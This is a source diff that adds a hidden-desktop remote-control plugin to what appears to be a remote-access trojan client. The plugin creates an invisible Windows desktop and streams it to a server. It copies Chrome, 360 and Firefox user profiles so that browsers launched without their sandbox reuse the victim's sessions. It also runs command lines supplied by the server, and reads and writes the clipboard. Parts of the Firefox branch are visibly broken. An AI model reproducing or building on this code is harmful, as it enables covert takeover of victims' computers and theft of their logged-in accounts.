+			// 跳过不可见窗口和子窗口
+			if (IsWindowVisible(hWnd) && GetParent(hWnd) == NULL) {
+				DWORD pid = 0;
+				GetWindowThreadProcessId(hWnd, &pid);
+				if (pid != 0) pids.insert(pid);
+			}
+			return TRUE;
+			}, reinterpret_cast<LPARAM>(&pidSet));
+		SetThreadDesktop(hOriginalDesk);
+	}
+
+	return std::vector<DWORD>(pidSet.begin(), pidSet.end());
+}
+
+bool IsSystemProcess(DWORD pid) {
+	HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
+	if (!hProcess) return true;
+
+	char exeName[MAX_PATH];
+	DWORD size = MAX_PATH;
+	bool isSystem = false;
+
+	if (QueryFullProcessImageName(hProcess, 0, exeName, &size)) {
+		TCHAR szExplorerFile[MAX_PATH * 2] = { 0 };
+		GetWindowsDirectory(szExplorerFile, MAX_PATH * 2 - 1);
+		strcat_s(szExplorerFile, MAX_PATH * 2 - 1, _T("\\Explorer.Exe"));
+        isSystem = (_stricmp(exeName, szExplorerFile)==0);
+	}
+	CloseHandle(hProcess);
+	return isSystem;
+}
+
+void SafeTerminateDesktopProcesses(HDESK hDesk) {
+	// 检查桌面句柄有效性
+	if (!hDesk || hDesk == INVALID_HANDLE_VALUE) return;
+
+	// 获取当前桌面（用于恢复）
+	HDESK hOriginalDesk = GetThreadDesktop(GetCurrentThreadId());
+	if (!hOriginalDesk) {
+		Mprintf("Failed to get original desktop\n");
+		return;
+	}
+
+	// 切换桌面
+	if (!SetThreadDesktop(hDesk)) {
+		Mprintf("SetThreadDesktop failed\n");
+		return;
+	}
+
+	// 枚举进程
+	auto pids = GetProcessIdsInDesktop(hDesk);
+	SetThreadDesktop(hOriginalDesk); // 立即恢复
+
+	// 终止进程
+	for (DWORD pid : pids) {
+		if (pid == GetCurrentProcessId()) continue; // 跳过自己
+
+		HANDLE hProcess = OpenProcess(PROCESS_TERMINATE | PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
+		if (!hProcess) {
+			Mprintf("OpenProcess failed for PID: %d\n", pid);
+			continue;
+		}
+
+		// 检查是否为系统进程
+		if (IsSystemProcess(pid)) {
+			CloseHandle(hProcess);
+			continue;
+		}
+
+		// 终止进程
+		if (!TerminateProcess(hProcess, 0)) {
+			Mprintf("TerminateProcess failed for PID: %d\n", pid);
+		}
+		CloseHandle(hProcess);
+	}
+}
+
+void CopyDir(TCHAR* from, TCHAR* to)
+{
+    TCHAR fromWildCard[MAX_PATH] = { 0 };
+    lstrcpy(fromWildCard, from);
+    lstrcat(fromWildCard, _T("\\*"));
+
+    if (!CreateDirectory(to, NULL) && GetLastError() != ERROR_ALREADY_EXISTS)
+        return;
+    WIN32_FIND_DATA findData;
+    HANDLE hFindFile = FindFirstFile(fromWildCard, &findData);
+    if (hFindFile == INVALID_HANDLE_VALUE)
+        return;
+
+    do {
+        TCHAR currFileFrom[MAX_PATH] = { 0 };
+        lstrcpy(currFileFrom, from);
+        lstrcat(currFileFrom, _T("\\"));
+        lstrcat(currFileFrom, findData.cFileName);
+
+        TCHAR currFileTo[MAX_PATH] = { 0 };
+        lstrcpy(currFileTo, to);
+        lstrcat(currFileTo, _T("\\"));
+        lstrcat(currFileTo, findData.cFileName);
+
+        if
+        (
+            findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY &&
+            strcmp(findData.cFileName, _T(".")) &&
+            strcmp(findData.cFileName, _T(".."))
+        ) {
+            if (CreateDirectory(currFileTo, NULL) || GetLastError() == ERROR_ALREADY_EXISTS)
+                CopyDir(currFileFrom, currFileTo);
+        } else
+            CopyFile(currFileFrom, currFileTo, FALSE);
+    } while (FindNextFile(hFindFile, &findData));
+}
+
+void killproc(const TCHAR* name)
+{
+    HANDLE hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, NULL);
+    PROCESSENTRY32 pEntry;
+    pEntry.dwSize = sizeof(pEntry);
+    BOOL hRes = Process32First(hSnapShot, &pEntry);
+    while (hRes) {
+        if (strcmp(pEntry.szExeFile, name) == 0) {
+            HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, 0,
+                                          (DWORD)pEntry.th32ProcessID);
+            if (hProcess != NULL) {
+                TerminateProcess(hProcess, 9);
+                CloseHandle(hProcess);
+            }
+        }
+        hRes = Process32Next(hSnapShot, &pEntry);
+    }
+    CloseHandle(hSnapShot);
+}
+
+CScreenHideManager::CScreenHideManager(ISocketBase* pClient,  int nBitDepth, void* user) :
+   CScreenManagerBase(pClient, nBitDepth, user)
+{
+    m_DlgToken = TOKEN_BITMAPINFO_HIDE;
+}
+
+CScreenHideManager::~CScreenHideManager()
+{
+}
+
+VOID CScreenHideManager::OnReceive(PBYTE lpBuffer, ULONG nSize)
+{
+    if (lpBuffer[0] == TOKEN_HEARTBEAT)
+        return;
+
+    switch (lpBuffer[0]) {
+    case COMMAND_FLUSH_HIDE:
+        ResetScreen(32);
+        break;
+    case COMMAND_SCREEN_CONTROL:
+        ProcessCommand(lpBuffer + 1, nSize - 1);
+        break;
+    case COMMAND_NEXT:
+        NotifyDialogIsOpen();
+        break;
+    case COMMAND_SCREEN_GET_CLIPBOARD:
+        SendClientClipboard();
+        break;
+    case COMMAND_SCREEN_SET_CLIPBOARD:
+        UpdateClientClipboard((char*)lpBuffer + 1, nSize - 1);
+        break;
+    case COMMAND_SCREEN_SETSCREEN_HIDE: 
+        Loop_Screen();
+        break;
+    case COMMAND_COMMAND_SCREENUALITY60_HIDE:
+        m_ScreenSpyObject->SendQuality(60);
+        break;
+    case COMMAND_COMMAND_SCREENUALITY85_HIDE:
+        m_ScreenSpyObject->SendQuality(85);
+        break;
+    case COMMAND_COMMAND_SCREENUALITY100_HIDE:
+        m_ScreenSpyObject->SendQuality(100);
+        break;
+    case COMMAND_HIDE_USER: {
+        return OnUserCommand(lpBuffer, nSize);
+    }
+    break;
+    case COMMAND_HIDE_CLEAR:
+        SafeTerminateDesktopProcesses(g_hDesk);
+        break;
+    default:
+        Mprintf("Unknown command: %d\n", (unsigned)lpBuffer[0]);
+        break;
+    }
+}
+
+void CScreenHideManager::OnUserCommand(PBYTE lpBuffer, ULONG nSize) {
+    char* deskName = (char*)m_DesktopID.c_str();
+    switch (lpBuffer[1]) {
+    case IDM_OPEN_Explorer: {
+        const DWORD neverCombine = 2;
+        const TCHAR* valueName = _T("TaskbarGlomLevel");
+
+        HKEY hKey;
+        RegOpenKeyEx(HKEY_CURRENT_USER, _T("Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced"), 0, KEY_ALL_ACCESS, &hKey);
+        DWORD value;
+        DWORD size = sizeof(DWORD);
+        DWORD type = REG_DWORD;
+        RegQueryValueEx(hKey, valueName, 0, &type, (BYTE*)&value, &size);
+
+        if (value != neverCombine)
+            RegSetValueEx(hKey, valueName, 0, REG_DWORD, (BYTE*)&neverCombine, size);
+
+        TCHAR explorerPath[MAX_PATH] = { 0 };
+        GetWindowsDirectory(explorerPath, MAX_PATH);
+        lstrcat(explorerPath, _T("\\"));
+        lstrcat(explorerPath, _T("explorer.exe"));
+
+        STARTUPINFO startupInfo = { 0 };
+        startupInfo.cb = sizeof(startupInfo);
+        startupInfo.lpDesktop = deskName;
+        PROCESS_INFORMATION processInfo = { 0 };
+        CreateProcess(explorerPath, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
+
+        APPBARDATA appbarData;
+        appbarData.cbSize = sizeof(appbarData);
+        for (int i = 0; i < 5; ++i) {
+            Sleep(1000);
+            appbarData.hWnd = FindWindow(_T("shell_TrayWnd"), NULL);
+            if (appbarData.hWnd)
+                break;
+        }
+
+        appbarData.lParam = ABS_ALWAYSONTOP;
+        SHAppBarMessage(ABM_SETSTATE, &appbarData);
+
+        RegSetValueEx(hKey, valueName, 0, REG_DWORD, (BYTE*)&value, size);
+        RegCloseKey(hKey);
+        break;
+    }
+    case IDM_OPEN_run: {
+        TCHAR rundllPath[MAX_PATH] = { 0 };
+        SHGetFolderPath(NULL, CSIDL_SYSTEM, NULL, 0, rundllPath);
+        lstrcat(rundllPath, _T("\\rundll32.exe shell32.dll,#61"));
+        STARTUPINFO startupInfo = { 0 };
+        startupInfo.cb = sizeof(startupInfo);
+        startupInfo.lpDesktop = deskName;
+        PROCESS_INFORMATION processInfo = { 0 };
+        CreateProcess(NULL, rundllPath, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
+        break;
+    }
+    case IDM_OPEN_Powershell: {
+        TCHAR path[MAX_PATH] = { 0 };
+        lstrcat(path, _T("cmd.exe /c start powershell -noexit -command \"[console]::windowwidth = 100;[console]::windowheight = 30; [console]::bufferwidth = [console]::windowwidth\""));
+        STARTUPINFO startupInfo = { 0 };
+        startupInfo.cb = sizeof(startupInfo);
+        startupInfo.lpDesktop = deskName;
+        PROCESS_INFORMATION processInfo = { 0 };
+        CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
+        break;
+    }
+    case IDM_OPEN_Chrome: {
+        TCHAR chromePath[MAX_PATH] = { 0 };
+        SHGetFolderPath(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, chromePath);
+        lstrcat(chromePath, _T("\\Google\\Chrome\\"));
+
+        TCHAR dataPath[MAX_PATH] = { 0 };
+        lstrcat(dataPath, chromePath);
+        lstrcat(dataPath, _T("User Data\\"));
+
+        TCHAR botId[35] = { 0 };
+        TCHAR newDataPath[MAX_PATH] = { 0 };
+        lstrcat(newDataPath, chromePath);
+        lstrcat(newDataPath, deskName);
+
+        CopyDir(dataPath, newDataPath);
+
+        TCHAR path[MAX_PATH] = { 0 };
+        lstrcat(path, _T("cmd.exe /c start "));
+        lstrcat(path, _T("chrome.exe"));
+        lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11  --origin-trial-disabled-features=SecurePaymentConfirmation --user-data-dir="));
+        lstrcat(path, _T("\""));
+        lstrcat(path, newDataPath);
+
+        STARTUPINFO startupInfo = { 0 };
+        startupInfo.cb = sizeof(startupInfo);
+        startupInfo.lpDesktop = deskName;
+        PROCESS_INFORMATION processInfo = { 0 };
+        CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
+        break;
+    }
+    case IDM_OPEN_Edge: {
+        TCHAR path[MAX_PATH] = { 0 };
+        lstrcat(path, _T("cmd.exe /c start "));
+        lstrcat(path, _T("msedge.exe"));
+        lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir="));
+        STARTUPINFO startupInfo = { 0 };
+        startupInfo.cb = sizeof(startupInfo);
+        startupInfo.lpDesktop = deskName;
+        PROCESS_INFORMATION processInfo = { 0 };
+        CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
+        break;
+    }
+    case IDM_OPEN_Brave: {
+        killproc(_T("brave.exe"));
+        TCHAR path[MAX_PATH] = { 0 };
+        lstrcat(path, _T("cmd.exe /c start "));
+        lstrcat(path, _T("brave.exe"));
+        lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir="));
+        STARTUPINFO startupInfo = { 0 };
+        startupInfo.cb = sizeof(startupInfo);
+        startupInfo.lpDesktop = deskName;
+        PROCESS_INFORMATION processInfo = { 0 };
+        CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
+        break;
+    }
+    case IDM_OPEN_Firefox: {
+        TCHAR firefoxPath[MAX_PATH] = { 0 };
+        SHGetFolderPath(NULL, CSIDL_APPDATA, NULL, 0, firefoxPath);
+        lstrcat(firefoxPath, _T("\\Mozilla\\Firefox\\"));
+
+        TCHAR profilesIniPath[MAX_PATH] = { 0 };
+        lstrcat(profilesIniPath, firefoxPath);
+        lstrcat(profilesIniPath, _T("TaskbarGlomLevel"));
+
+        HANDLE hProfilesIni = CreateFile(profilesIniPath, FILE_READ_ACCESS, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
+        if (hProfilesIni == INVALID_HANDLE_VALUE)
+            return;
+
+        DWORD profilesIniSize = GetFileSize(hProfilesIni, 0);
+        DWORD read;
+        TCHAR* profilesIniContent = new TCHAR[profilesIniSize + 1];
+        ReadFile(hProfilesIni, profilesIniContent, profilesIniSize, &read, NULL);
+        profilesIniContent[profilesIniSize] = 0;
+
+        TCHAR* isRelativeRead = StrStr(profilesIniContent, _T("IsRelative="));
+        if (!isRelativeRead) {
+            CloseHandle(hProfilesIni);
+            SAFE_DELETE(profilesIniContent);
+            return;
+        }
+
+        isRelativeRead += 11;
+        BOOL isRelative = (*isRelativeRead == _T('1'));
+
+        TCHAR* path = StrStr(profilesIniContent, _T("Path="));
+        if (!path) {
+            CloseHandle(hProfilesIni);
+            SAFE_DELETE(profilesIniContent);
+            return;
+        }
+        TCHAR* pathEnd = StrStr(path, _T("\r"));
+        if (!pathEnd) {
+            CloseHandle(hProfilesIni);
+            SAFE_DELETE(profilesIniContent);
+            return;
+        }
+        *pathEnd = 0;
+        path += 5;
+
+        TCHAR realPath[MAX_PATH] = { 0 };
+        if (isRelative)
+            lstrcpy(realPath, firefoxPath);
+        lstrcat(realPath, path);
+
+        TCHAR newPath[MAX_PATH];
+        lstrcpy(newPath, firefoxPath);
+        lstrcpy(newPath, deskName);
+
+        CopyDir(realPath, newPath);
+
+        TCHAR browserPath[MAX_PATH] = { 0 };
+        lstrcpy(browserPath, _T("cmd.exe /c start "));
+        lstrcpy(browserPath, _T("firefox.exe"));
+        lstrcpy(browserPath, _T(" -no-remote -profile "));
+        lstrcpy(browserPath, _T("\""));
+        lstrcpy(browserPath, newPath);
+        lstrcpy(browserPath, _T("\""));
+
+        STARTUPINFO startupInfo = { 0 };
+        startupInfo.cb = sizeof(startupInfo);
+        startupInfo.lpDesktop = deskName;
+        PROCESS_INFORMATION processInfo = { 0 };
+        CreateProcess(NULL, browserPath, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
+        break;
+    }
+    case IDM_OPEN_Iexplore: {
+        TCHAR path[MAX_PATH] = { 0 };
+        lstrcpy(path, _T("cmd.exe /c start "));
+        lstrcat(path, _T("iexplore.exe"));
+
+        STARTUPINFO startupInfo = { 0 };
+        startupInfo.cb = sizeof(startupInfo);
+        startupInfo.lpDesktop = deskName;
+        PROCESS_INFORMATION processInfo = { 0 };
+        CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
+        break;
+    }
+    case IDM_OPEN_zdy: {
+        TCHAR path[MAX_PATH] = { 0 };
+        lstrcpy(path, (TCHAR*)((char*)lpBuffer + 2));
+        STARTUPINFO startupInfo = { 0 };
+        startupInfo.cb = sizeof(startupInfo);
+        startupInfo.lpDesktop = deskName;
+        PROCESS_INFORMATION processInfo = { 0 };
+        CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
+        break;
+    }
+    case IDM_OPEN_zdy2: {
+        ZdyCmd m_ZdyCmd = {};
+        memcpy(&m_ZdyCmd, (char*)lpBuffer + 2, sizeof(ZdyCmd));
+        CopyDir(m_ZdyCmd.oldpath, m_ZdyCmd.newpath);
+
+        TCHAR path[MAX_PATH] = { 0 };
+        lstrcpy(path, _T("cmd.exe /c start "));
+        lstrcat(path, m_ZdyCmd.cmdline);
+        lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir="));
+        lstrcat(path, _T("\""));
+        lstrcat(path, m_ZdyCmd.newpath);
+        STARTUPINFO startupInfo = { 0 };
+        startupInfo.cb = sizeof(startupInfo);
+        startupInfo.lpDesktop = deskName;
+        PROCESS_INFORMATION processInfo = { 0 };
+        CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
+        break;
+    }
+    case IDM_OPEN_360JS: {
+        TCHAR chromePath[MAX_PATH] = { 0 };
+        SHGetFolderPath(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, chromePath);
+        lstrcat(chromePath, _T("\\360Chrome\\Chrome\\"));
+        TCHAR dataPath[MAX_PATH] = { 0 };
+        lstrcpy(dataPath, chromePath);
+        lstrcat(dataPath, _T("User Data\\"));
+
+        TCHAR newDataPath[MAX_PATH] = { 0 };
+        lstrcpy(newDataPath, chromePath);
+        lstrcat(newDataPath, deskName);
+
+        CopyDir(dataPath, newDataPath);
+
+        TCHAR path[MAX_PATH] = { 0 };
+        lstrcpy(path, _T("cmd.exe /c start "));
+        lstrcat(path, _T("360chrome.exe"));
+        lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir="));
+        lstrcat(path, _T("\""));
+        lstrcat(path, newDataPath);
+
+        STARTUPINFO startupInfo = { 0 };
+        startupInfo.cb = sizeof(startupInfo);
+        startupInfo.lpDesktop = deskName;
+        PROCESS_INFORMATION processInfo = { 0 };
+        CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
+        break;
+    }
+    case IDM_OPEN_360AQ: {
+        TCHAR chromePath[MAX_PATH] = { 0 };
+
+        SHGetFolderPath(NULL, CSIDL_APPDATA, NULL, 0, chromePath);
+        lstrcat(chromePath, _T("\\"));
+
+        TCHAR dataPath[MAX_PATH] = { 0 };
+        lstrcpy(dataPath, chromePath);
+        lstrcat(dataPath, _T("secoresdk\\"));
+
+        TCHAR newDataPath[MAX_PATH] = { 0 };
+        lstrcpy(newDataPath, chromePath);
+        lstrcat(newDataPath, deskName);
+
+        CopyDir(dataPath, newDataPath);
+        lstrcat(newDataPath, _T("\\360se6\\Application\\360se.exe"));
+
+        TCHAR path[MAX_PATH] = { 0 };
+        lstrcpy(path, _T("cmd.exe /c start "));
+        lstrcat(path, newDataPath);
+
+        lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir="));
+
+        STARTUPINFO startupInfo = { 0 };
+        startupInfo.cb = sizeof(startupInfo);
+        startupInfo.lpDesktop = deskName;
+        PROCESS_INFORMATION processInfo = { 0 };
+        CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
+        break;
+    }
+    case IDM_OPEN_360AQ2: {
+        TCHAR chromePath[MAX_PATH] = { 0 };
+
+        SHGetFolderPath(NULL, CSIDL_APPDATA, NULL, 0, chromePath);
+        lstrcat(chromePath, _T("\\"));
+
+        TCHAR dataPath[MAX_PATH] = { 0 };
+        lstrcpy(dataPath, chromePath);
+        lstrcat(dataPath, _T("360se6\\"));
+
+        TCHAR newDataPath[MAX_PATH] = { 0 };
+        lstrcpy(newDataPath, chromePath);
+        lstrcat(newDataPath, deskName);
+
+        CopyDir(dataPath, newDataPath);
+        lstrcat(newDataPath, _T("\\Application\\360se.exe"));
+
+        TCHAR path[MAX_PATH] = { 0 };
+        lstrcpy(path, _T("cmd.exe /c start "));
+        lstrcat(path, newDataPath);
+
+        lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir="));
+
+        STARTUPINFO startupInfo = { 0 };
+        startupInfo.cb = sizeof(startupInfo);
+        startupInfo.lpDesktop = deskName;
+        PROCESS_INFORMATION processInfo = { 0 };
+        CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
+        break;
+    }
+    }
+}
+
+void CScreenHideManager::InitScreenSpy() {
+	HDESK hDesk = SelectDesktop((char*)m_DesktopID.c_str());
+	if (!hDesk) {
+        hDesk = CreateDesktop(m_DesktopID.c_str(), NULL, NULL, 0, GENERIC_ALL, NULL);
+		Mprintf("创建虚拟屏幕%s: %s\n", m_DesktopID.c_str(), hDesk ? "成功" : "失败");
+	}
+	else {
+		Mprintf("打开虚拟屏幕成功: %s\n", m_DesktopID.c_str());
+	}
+	if (hDesk) {
+		TCHAR szExplorerFile[MAX_PATH * 2] = { 0 };
+		GetWindowsDirectory(szExplorerFile, MAX_PATH * 2 - 1);
+		strcat_s(szExplorerFile, MAX_PATH * 2 - 1, _T("\\Explorer.Exe"));
+        if (!IsProcessRunningInDesktop(hDesk, szExplorerFile))
+        {
+			if (!LaunchApplication(szExplorerFile, (char*)m_DesktopID.c_str())) {
+				Mprintf("启动资源管理器失败[%s]!!!\n", m_DesktopID.c_str());
+			}
+        } else {
+            Mprintf("虚拟屏幕的资源管理器已在运行[%s].\n", m_DesktopID.c_str());
+        }
+		SetThreadDesktop(g_hDesk = hDesk);
+	}
+	BYTE* param = (BYTE*)m_ptrUser;
+	int compress = ALGORITHM_DIFF;
+	if (param) {
+        compress = param[1];
+		delete[] param;
+        m_ptrUser = NULL;
+	}
+    m_ScreenSpyObject = new CScreenHideSpy(32, compress);
+}
+
+} // namespace SimplePluginsScreenHide

client/screenhide/ScreenHideManager.h

@@ -0,0 +1,21 @@
+#pragma once
+#include "Manager.h"
+
+#include "ScreenHideSpy.h"
+#include "ScreenManagerBase.h"
+
+namespace SimplePluginsScreenHide {
+
+class CScreenHideManager : public CScreenManagerBase
+{
+public:
+    CScreenHideManager(ISocketBase* pClient, int nBitDepth, void* user=NULL);
+    virtual ~CScreenHideManager();
+
+    void OnUserCommand(PBYTE lpBuffer, ULONG nSize);
+
+	virtual VOID OnReceive(PBYTE lpBuffer, ULONG nSize);
+    virtual void InitScreenSpy();
+};
+
+} // namespace SimplePluginsScreenHide

client/screenhide/ScreenHideSpy.h

@@ -0,0 +1,22 @@
+#pragma once
+
+#include "ScreenSpy.h"
+
+namespace SimplePluginsScreenHide {
+
+// 隐私屏幕捕获器。
+//
+// SimplePlugins 原版 CScreenHideSpy 基于其自带的旧 CScreenSpy/ScreenCapture 捕获链
+// （jpeg + CaptureFrame/BMP_JPG/ScanChangedRect），已与 YAMA 重写后的编码器捕获层
+// （ScreenCapture::GetNextScreenData + EncoderFactory）分叉，故此处改写为直接继承
+// YAMA 的 ::CScreenSpy，仅把 vDesk=TRUE（虚拟桌面）传入基类，捕获/编码全部复用基类。
+class CScreenHideSpy : public ::CScreenSpy
+{
+public:
+    CScreenHideSpy(int biBitCount = 32, int algo = ALGORITHM_DIFF)
+        : ::CScreenSpy((ULONG)biBitCount, (BYTE)algo, TRUE /* vDesk → m_bVirtualPaint */)
+    {
+    }
+};
+
+} // namespace SimplePluginsScreenHide

client/screenhide/ScreenManagerBase.h

@@ -0,0 +1,642 @@
+#pragma once
+
+#include "Manager.h"
+#include "ScreenCapture.h"
+#include <Shlwapi.h>
+#include <ShlObj.h>
+#include <tchar.h>
+
+class IOCPClient;
+
+namespace SimplePluginsScreenHide {
+
+class CScreenManagerBase : public CManager {
+public: // 构造和析构
+	CScreenManagerBase(IOCPClient* ClientObject, int nBitDepth, void* user = NULL, 
+		int token= TOKEN_BITMAPINFO) : CManager(ClientObject)
+	{
+		m_DlgToken = token;
+		g_hDesk = nullptr;
+		m_DesktopID = GetBotId();
+		m_ptrUser = user;
+		m_ScreenSpyObject = nullptr;
+		m_biBitCount = nBitDepth;
+		m_fps = 10;
+		m_bIsWorking = TRUE;
+		m_oldwidth = ::GetSystemMetrics(SM_CXVIRTUALSCREEN);
+		m_oldheigh = ::GetSystemMetrics(SM_CYVIRTUALSCREEN);
+		m_point = {};
+		m_lastPoint = {};
+		m_lmouseDown = FALSE;
+		m_hResMoveWindow = nullptr;
+		m_resMoveType = 0;
+		m_rmouseDown = FALSE;
+		m_rclickPoint = {};
+		m_rclickWnd = nullptr;
+		m_hWorkThread = (HANDLE)__CreateThread(NULL, 0, CScreenManagerBase::WorkThreadProc, this, 0, NULL);
+		m_hBlankThread = (HANDLE)__CreateThread(NULL, 0, CScreenManagerBase::ControlThread, this, 0, NULL);
+		SetReady(TRUE);
+	}
+	virtual ~CScreenManagerBase() {
+		m_bIsWorking = FALSE;
+		WaitForSingleObject(m_hWorkThread, INFINITE);
+		WaitForSingleObject(m_hBlankThread, INFINITE);
+		CloseHandle(m_hWorkThread); m_hWorkThread = NULL;
+		CloseHandle(m_hBlankThread); m_hBlankThread = NULL;
+
+		SAFE_DELETE(m_ScreenSpyObject);
+		if (g_hDesk) {
+			auto b = CloseDesktop(g_hDesk);
+			g_hDesk = NULL;
+			Mprintf("关闭虚拟屏幕【%s】: %s\n", b ? "成功" : "失败", m_DesktopID.c_str());
+		}
+	}
+
+public: // 非纯虚函数
+	virtual BOOL SendFirstScreen() {
+		ULONG len = 0;
+		auto data = m_ScreenSpyObject->GetFirstScreenData(&len);
+		if (nullptr == data) {
+			return FALSE;
+		}
+		return m_ClientObject->Send2Server((char*)data, 1 + len);
+	}
+
+	virtual bool IsMetricsChange() {
+		if ((m_oldwidth != ::GetSystemMetrics(SM_CXVIRTUALSCREEN)) || (m_oldheigh != ::GetSystemMetrics(SM_CYVIRTUALSCREEN))) {
+			if (m_oldwidth == 0 || m_oldheigh == 0) {
+				return false;
+			}
+			m_oldwidth = ::GetSystemMetrics(SM_CXVIRTUALSCREEN);
+			m_oldheigh = ::GetSystemMetrics(SM_CYVIRTUALSCREEN);
+			return true;
+		}
+
+		return false;
+	}
+
+	virtual void Loop_Screen() {
+		// 获取分辨率
+		int _cx = ::GetSystemMetrics(SM_CXSCREEN);
+		int _cy = ::GetSystemMetrics(SM_CYSCREEN);
+
+		// 修改分辨率
+		DEVMODE lpDevMode;
+		lpDevMode.dmBitsPerPel = 32;//每个像素的位数
+		lpDevMode.dmPelsWidth = 1600;//屏幕宽度（像素）
+		lpDevMode.dmPelsHeight = 900;//屏幕高度（像素）
+		lpDevMode.dmSize = sizeof(lpDevMode);
+		lpDevMode.dmFields =DM_PELSWIDTH| DM_PELSHEIGHT| DM_BITSPERPEL;
+		LONG result = ChangeDisplaySettings(&lpDevMode, 0);
+		if (result == DISP_CHANGE_SUCCESSFUL) {
+			ChangeDisplaySettings(&lpDevMode, CDS_UPDATEREGISTRY);
+		}
+		else {
+			ChangeDisplaySettings(NULL, 0);
+		}
+	}
+
+	virtual bool IsConnect() { return m_ClientObject->IsRunning(); }
+
+	virtual int GetCurrentPixelBits() { return m_biBitCount; }
+
+	virtual LPBYTE GetNextScreen(ULONG& ulNextSendLength) {
+		return m_ScreenSpyObject->GetNextScreenData(&ulNextSendLength);
+	}
+
+	virtual VOID SendNextScreen(LPBYTE szBuffer, ULONG ulNextSendLength) {
+		m_ClientObject->Send2Server((char*)szBuffer, ulNextSendLength);
+	}
+
+	virtual void ResetScreen(int biBitCount = 32) {
+		InterlockedExchange((LPLONG)&m_bIsWorking, FALSE);
+		WaitForSingleObject(m_hWorkThread, INFINITE);
+		CloseHandle(m_hWorkThread);
+		SAFE_DELETE(m_ScreenSpyObject);
+		m_biBitCount = biBitCount;
+		m_bIsWorking = TRUE;
+		m_hWorkThread = (HANDLE)__CreateThread(NULL, 0, WorkThreadProc, this, 0, NULL);
+	}
+
+	virtual VOID UpdateClientClipboard(char* szBuffer, ULONG ulLength) {
+		if (!OpenClipboard(NULL))
+			return;
+		EmptyClipboard();
+		HGLOBAL hGlobal = (HGLOBAL)GlobalAlloc(GMEM_DDESHARE, ulLength);
+		if (hGlobal != NULL) {
+			LPTSTR szClipboardVirtualAddress = (LPTSTR)GlobalLock(hGlobal);
+			if (szClipboardVirtualAddress)
+				memcpy(szClipboardVirtualAddress, szBuffer, ulLength);
+			GlobalUnlock(hGlobal);
+			if (NULL == SetClipboardData(CF_TEXT, hGlobal))
+				GlobalFree(hGlobal);
+		}
+		CloseClipboard();
+	}
+
+	virtual VOID SendClientClipboard() {
+		if (!OpenClipboard(NULL))  //打开剪切板设备
+			return;
+		HGLOBAL hGlobal = (HGLOBAL)GetClipboardData(CF_TEXT);   //代表着一个内存
+		if (hGlobal == NULL) {
+			CloseClipboard();
+			return;
+		}
+		int	  iPacketLength = GlobalSize(hGlobal) + 1;
+		char* szClipboardVirtualAddress = (LPSTR)GlobalLock(hGlobal); //锁定
+		LPBYTE	szBuffer = new BYTE[iPacketLength];
+
+		szBuffer[0] = TOKEN_CLIPBOARD_TEXT;
+		memcpy(szBuffer + 1, szClipboardVirtualAddress, iPacketLength - 1);
+		GlobalUnlock(hGlobal);
+		CloseClipboard();
+		m_ClientObject->Send2Server((char*)szBuffer, iPacketLength);
+		delete[] szBuffer;
+	}
+
+	virtual DWORD WorkProcess() {
+		CScreenManagerBase* This = this;
+		This->InitScreenSpy();
+
+		This->SendBitMapInfo();
+		if (This->m_bIsWorking)
+			This->WaitForDialogOpen();
+		This->SendScreenSize();
+		clock_t last = clock();
+		if (!This->SendFirstScreen()) {
+			Mprintf("Send first screen failed!!!\n");
+			return 0x20250224;
+		}
+		Mprintf("Succeed sending bmpInfo and first screen\n");
+
+		float fps = This->m_fps;
+		const int sleep = 1000 / fps;// 间隔时间（ms）
+		int c1 = 0; // 连续耗时长的次数
+		int c2 = 0; // 连续耗时短的次数
+		int s0 = sleep; // 两帧之间隔（ms）
+		const int frames = fps;	// 每秒调整屏幕发送速度
+		const double alpha = 1.1; // 控制fps的因子
+		timeBeginPeriod(1);
+		while (This->m_bIsWorking) {
+			ULONG ulNextSendLength = 0;
+			LPBYTE szBuffer = This->GetNextScreen(ulNextSendLength);
+			if (NULL == szBuffer) {
+				continue;
+			}
+			int span = s0 - (clock() - last);
+			Sleep(span > 0 ? span : 1);
+			if (span < 0) { // 发送数据耗时较长，网络较差或数据较多
+				c2 = 0;
